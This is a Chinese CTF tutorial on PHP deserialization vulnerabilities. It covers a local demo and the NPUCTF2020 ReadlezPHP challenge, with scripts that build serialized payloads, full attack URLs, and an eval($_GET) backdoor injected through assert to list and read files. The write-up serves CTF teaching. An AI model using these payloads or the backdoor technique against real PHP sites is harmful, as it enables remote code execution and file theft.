CTF-PHP反序列化漏洞2-利用魔法函数

这篇具有很好参考价值的文章主要介绍了CTF-PHP反序列化漏洞2-利用魔法函数。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。

1. 题目环境搭建

详见我的一篇文章phpstudy本地环境搭建图文教程
搭建成功后,在网站根目录新建含有原始代码的php文件,通过浏览器访问即可。

网站根目录中新建一个名为flag.php的文件,内容自定,可作为flag使用。

<?php
echo "flag{You_Gor_It_Great!}";
?>

在线运行php网站,推荐PHP 在线工具 | 菜鸟工具或者在线运行PHP

2. 魔法函数的危险操作

反序列化时会将序列化字符串重新还原为对象,在这个过程中会⾃动去调⽤类中的魔术⽅法,⽐如 __wakeup()__destruct() 等,如果这些魔术⽅法中存在⼀些危险操作,如读取⽂件、执⾏系统命令等。攻击 者可以通过构造对象中的变量值,在触发魔术⽅法时执⾏这些危险操作。

__destruct()   // 析构函数,在销毁对象时调用
__wakeup()    // 执行unserialize()时,先会调用这个函数

2.1 题目demo.php

  • 题目源码
<?php
// flag is in flag.php
class demo
{
 private $filename = 'demo.php';
 public function __wakeup()
 {
 // TODO: Implement __wakeup() method.
 $this->show($this->filename);
 }
 public function show($filename)
 {
 show_source($filename);
 }
}
unserialize($_GET['s']);
$d = new demo();
$d->show("demo.php");
?>

打开题目
CTF-PHP反序列化漏洞2-利用魔法函数

  • 解题思路
  1. 源码分析发现
    a. 存在魔法函数__wakeup
    b. 魔法函数中调用show函数,里面存在危险操作show_source显示源码
    c. 参数filename可控
    综上可尝试反序列化读取flag.php
  2. 构造反序列化
    调用链:__wakeup() => show

上⾯的代码是接收⼀个参数 s ,然后将其反序列化,反序列化后,会调⽤ __wakeup() ⽅法。如果⼀切正常的话, 这个⽅法会显示⼀下 demo.php ⽂件的源代码。但是参数 s 是可控的,也就是说对象 s 的属性是可控的。于是我们可以伪造⼀个 filename 来构造对象(flag.php)

使用PHP 在线工具 | 菜鸟工具生成payload
CTF-PHP反序列化漏洞2-利用魔法函数

<?php
class demo{
	private $filename = 'flag.php';
}

$a = new demo();
$b = serialize($a);
echo $b.'<br>';
echo urlencode($b);
?>

// 结果如下
// O:4:"demo":1:{s:14:"demofilename";s:8:"flag.php";}
// O%3A4%3A%22demo%22%3A1%3A%7Bs%3A14%3A%22%00demo%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

最终攻击payload,浏览器url栏中输入如下内容
http://ip:port/filename/?s=O%3A4%3A%22demo%22%3A1%3A%7Bs%3A14%3A%22%00demo%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
CTF-PHP反序列化漏洞2-利用魔法函数

2.2 [NPUCTF2020]ReadlezPHP

题目链接:[NPUCTF2020]ReadlezPHP]ReadlezPHP

  • 题目
    正常的一个报时网页 此题可有两个flag
  • 解题思路
  1. 打开网站尝试路径扫描无果。尝试查看网页源码,发现可以链接
    CTF-PHP反序列化漏洞2-利用魔法函数
  2. 点击后,URL中去掉view-source: 页面展示源码如下。
    CTF-PHP反序列化漏洞2-利用魔法函数
  3. 分析源代码可知
    (1)存在魔法函数__destruct()
    (2)调用危险代码动态执行 b ( b( b(a)
    (3)$a $b参数可控
    综上选定PHP反序列化攻击
  4. 构造序列化脚本
<?php
  class HelloPhp
{
  public $a="ls /";
  public $b="system"; 
}

$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>

// 输出结果
// O:8:"HelloPhp":2:{s:1:"a";s:4:"ls /";s:1:"b";s:6:"system";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D

攻击payload为
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D

  1. 但是没有响应,怀疑是过滤了部分函数。尝试使用别的函数,如assert
<?php
class HelloPhp
{
    public $a="phpinfo()";
    public $b="assert"; 
}

$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);

?>
  
// 输出结果
// O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

攻击payload
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
成功,查看被禁用函数disable_functions PHP中的system函数被禁用
CTF-PHP反序列化漏洞2-利用魔法函数
搜索flag找到第一个flag
CTF-PHP反序列化漏洞2-利用魔法函数

  1. 构造后门文件查看是否还有其他flag assert(eval($_GET[1234]))
<?php
  class HelloPhp
{
  public $a="eval(\$_GET[1234])";
  public $b="assert"; 
}

$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>

攻击payload
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));

  1. 后门1234的命令被限制使用var_dump(scandir(“/”))代替 system(“ls /”) 找到第二个flag

http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));

CTF-PHP反序列化漏洞2-利用魔法函数

  1. 使用echo file_get_contents(“/FIag_!S_it”)代替system(cat /FIag_!S_it)

http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=echo file_get_contents("/FIag_!S_it");

找到第二个flag
NPUCTF{this_is_not_a_fake_flag_but_true_flag}

以上仅是典型题目,下一篇文章将继续介绍php反序列化pop链的构造文章来源地址https://www.toymoban.com/news/detail-447042.html

到了这里,关于CTF-PHP反序列化漏洞2-利用魔法函数的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 关于php----phar伪协议和phar文件反序列化漏洞利用

    Secarma的安全研究员Sam Thomas发现了php里一种新的反序列化漏洞,这种漏洞的利用可以避开传统的php反序列化漏洞的查找,旧漏洞莫非寻找反序列化链(pop链),如thinkphp、Laravel的反序列化链的漏洞和使用phar://伪协议完成反序列化漏洞。新发现的漏洞通过创建phar文件,以及配合

    2024年02月05日
    浏览(26)
  • 记录一次CTF解题PHP反序列化

    序列化通俗来讲就是将对象转化为可以存储、传输的字符串,反序列化就是把那串字符串再变回对象。 例如: 这里序列化结果中的O就是object对象的意思,数字7代表着对象的函数名长度为7,然后就是对象名\\\"chybate\\\",然后这个数字 1表示对象有一个变量,大括号里的s代表的是

    2024年04月22日
    浏览(23)
  • 【精选】PHP&java 序列化和反序列化漏洞

    目录 首先 其次 技巧和方法

    2024年01月23日
    浏览(41)
  • 反序列化漏洞(PHP)

    0x01. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性 0x02. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型

    2024年02月06日
    浏览(37)
  • Fastjson 结合 jdk 原生反序列化的利用手法 ( Aliyun CTF )

    2023 Aliyun CTF ezbean是一道CTF java反序列化题目。 题目的目的是让选手通过一个java原生反序列化入口,最终达成RCE。本文对题目的几种解法做了具体的分析,主要分为预期解法和非预期解法两种思路。通过对Fastjson在反序列化的行为分析,从两个方向攻克本题。 题目的逻辑简单

    2024年02月07日
    浏览(35)
  • php反序列化漏洞基础

            序列化是将对象或类转换为字符串的过程 ,以便在程序运行过程中对其进行持久化存储或传输的操作。在PHP中,序列化主要用于将类对象或数组转换成字节流的形式,以便于存储在磁盘或传输到其他系统。         通过 序列化,可以将对象或类转换成一串字

    2024年01月20日
    浏览(49)
  • PHP反序列化漏洞原理

    1、原理: 序列化与反序列化是保证数据一致性的过程。 2、产生: 序列化与反序列化的过程中,用户可控 如果反序列化的参数受到攻击者的控制,就会产生漏洞。攻击者可以通过修改参数个数等方式来控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。

    2024年01月16日
    浏览(54)
  • PHP反序列化漏洞之魔术方法

    PHP魔术方法 (Magic Methods) 是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct() 、 __toString() 等。 魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性

    2024年02月16日
    浏览(36)
  • PHP反序列化漏洞-魔术方法绕过

    一、__wakeup()魔法函数绕过: 在PHP中,__wakeup()是一个魔术方法,用于在反序列化对象时自动调用。 当反序列化字符串中的对象属性个数大于实际属性个数时 ,可以利用这个漏洞进行绕过。 触发条件: PHP版本为5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的对

    2024年01月18日
    浏览(46)
  • [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

    提示:有一个良好的备份网站的习惯 故使用dirsearch工具扫描目录 得到的扫描结果中包含www.zip目录 通过url路径下载zip文件: index.php中含有关键代码: Get传参传入一个参数select,后端将其序列化 class.php: construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,

    2024年02月05日
    浏览(53)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包